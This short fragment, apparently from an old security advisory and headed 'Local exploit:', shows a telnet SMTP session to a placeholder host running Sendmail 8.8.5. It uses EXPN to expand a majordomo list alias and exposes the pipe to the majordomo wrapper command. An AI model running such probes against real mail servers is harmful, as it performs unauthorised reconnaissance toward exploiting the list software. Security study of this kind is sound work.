Local exploit:

    telnet somewhere.com 25
    220 somewhere.com ESMTP Sendmail 8.8.5/Somewhere-971021-1 ready at ...
    EXPN somewhere-announce
    250 <"|/usr/local/mail/majordomo/wrapper resend -l somewhere-announce
    -h somewhere.com somewhere-announce-list"@somewhere.com>
    EXPN somewhere-announce-list
    ...